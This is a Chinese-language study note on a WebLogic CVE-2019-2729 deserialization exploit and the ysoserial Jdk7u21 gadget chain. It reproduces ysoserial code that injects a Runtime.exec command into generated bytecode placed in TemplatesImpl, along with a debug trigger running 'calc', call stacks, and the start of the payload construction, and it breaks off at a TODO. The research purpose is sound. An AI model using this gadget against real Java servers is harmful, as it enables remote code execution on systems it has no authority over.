参考:
来源:
https://github.com/chaitin/xray/blob/master/pocs/weblogic-cve-2019-2729-1.yml
在java原生反序列化之前将payload转换成序列化文件:
File f = new File("C:\\Users\\Administrator\\Desktop\\chatin_2729_echo.ser");
ObjectOutputStream out2 = new ObjectOutputStream(new FileOutputStream(f));
out2.write(bytes);
out2.flush();
out2.close();
看看这个反序列化出来的Object:
具体各个属性的生成参考:
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/util/Gadgets.java
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
final T templates = tplClass.newInstance();
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
final byte[] classBytes = clazz.toBytecode();
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
在序列化出来的字符串里搜到了weblogic/servlet/internal/ServletOutputStreamImpl
,应该是用writeStream
这个方法进行回显吧。
并且判断操作系统win/linux,执行对应的/bin/sh -c
还是cmd /c
。
E:\Oracle\Middleware10.3.6.0\wlserver_10.3\server\lib\weblogic.jar!\weblogic\servlet\internal\ServletOutputStreamImpl#writeStream(InputStream var1)
应该是自定义的字节类中调用了ServletOutputStreamImpl#writeStream然后拼接了命令执行的结果,最后返回。
好像10.3.6不支持jdk 1.8,不过好像可以先用jdk 6,7安装之后然后bypass。
https://stackoverflow.com/questions/22513660/jre-8-compatibility-with-weblogic-10-3-6-11g
直到12.1.3才开始支持jdk 1.8
https://community.oracle.com/thread/3539686
调用栈:
exec:328, Runtime (java.lang)
<clinit>:-1, Pwner45438314278992 (ysoserial)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:39, NativeConstructorAccessorImpl (sun.reflect)
newInstance:27, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:513, Constructor (java.lang.reflect)
newInstance0:357, Class (java.lang)
newInstance:310, Class (java.lang)
getTransletInstance:376, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:406, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:39, NativeMethodAccessorImpl (sun.reflect)
invoke:25, DelegatingMethodAccessorImpl (sun.reflect)
invoke:597, Method (java.lang.reflect)
equalsImpl:179, AnnotationInvocationHandler (sun.reflect.annotation)
invoke:41, AnnotationInvocationHandler (sun.reflect.annotation)
equals:-1, $Proxy89 (com.sun.proxy)
put:376, HashMap (java.util)
readObject:292, HashSet (java.util)
invoke:-1, GeneratedMethodAccessor4 (sun.reflect)
invoke:25, DelegatingMethodAccessorImpl (sun.reflect)
invoke:597, Method (java.lang.reflect)
invokeReadObject:969, ObjectStreamClass (java.io)
readSerialData:1871, ObjectInputStream (java.io)
readOrdinaryObject:1775, ObjectInputStream (java.io)
readObject0:1327, ObjectInputStream (java.io)
readObject:349, ObjectInputStream (java.io)
<init>:63, UnitOfWorkChangeSet (oracle.toplink.internal.sessions)
...
在ysoserial中使用以下两行代码进行调试
public static void main1() throws Exception {
// 构造待触发的对象(把油都浇好了,一点就着)
TemplatesImpl object = (TemplatesImpl)Gadgets.createTemplatesImpl("calc");
// 触发漏洞(点了,着了)
object.getOutputProperties();
}
学习一下如何构造好这个待触发的对象,以及受害者是如何一步一步进入攻击者设计好的陷阱里的。
import javassist.ClassPool;
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(abstTranslet));
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
// 这里通过javassist.ClassPool生成class,这里用到随机的类名,方便同一个jvm里反复利用?
final CtClass clazz = pool.makeClass("ysoserial.Pwner" + System.nanoTime());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";
clazz.makeClassInitializer().insertAfter(cmd);
CtClass superC = pool.get(abstTranslet.getName());
// 设置这个生成的class继承自`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`
clazz.setSuperclass(superC);
final byte[] classBytes = clazz.toBytecode();
通过javassist生成一个类,将payload插入到类的初始化代码块中,然后转换成字节码。
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
将刚才的那个生成的类的字节,放到TemplatesImpl
这个类的_bytecodes
属性中。
然后再通过反射设置TemplatesImpl
这个类的另外两个属性:
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
其中原类TemplatesImpl
中的定义是:
/**
* Name of the main class or default name if unknown.
*/
private String _name = null;
/**
* A reference to the transformer factory that this templates
* object belongs to.
*/
private transient TransformerFactoryImpl _tfactory = null;
到这里,payload的生成结束了。
然后看如何通过getOutputProperties
触发payload。
代码的跟踪这里都已经说了:
https://y4er.com/post/ysoserial-jdk7u21/
调用栈:
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
但是关键在于如何让ObjectInputStream#readObject的过程中自动执行TemplatesImpl#getOutputProperties
看看ysoserial是怎么处理的。
调试他的main方法,
PayloadRunner.run(Jdk7u21.class, args);
然后开始生成恶意对象:
final Object objBefore = payload.getObject(command);
所以重点就是看Jdk7u21
类的getObject(final String command)
方法:
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
这里先构造了一个Map对象,然后通过反射拿到AnnotationInvocationHandler的第一个构造器,也就是:
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
this.type = var1;
this.memberValues = var2;
}
然后ysoserial的代码里传递的是Override.class和刚才那个不知道啥用的map对象。
其中AnnotationInvocationHandler的构造器接收两个参数:一个class对象(java.lang.annotation.Annotation的子类),一个Map对象(key为String类型,value为Object类型)
构造完之后,分别赋值给了AnnotationInvocationHandler对象的type属性,和memberValues属性。
但是明明为什么刚才已经构造了AnnotationInvocationHandler,type属性被赋值为Override.class,还要下面这句:
Reflections.setFieldValue(tempHandler, "type", Templates.class);
将type属性再赋值为Templates.class?
//TODO
参考: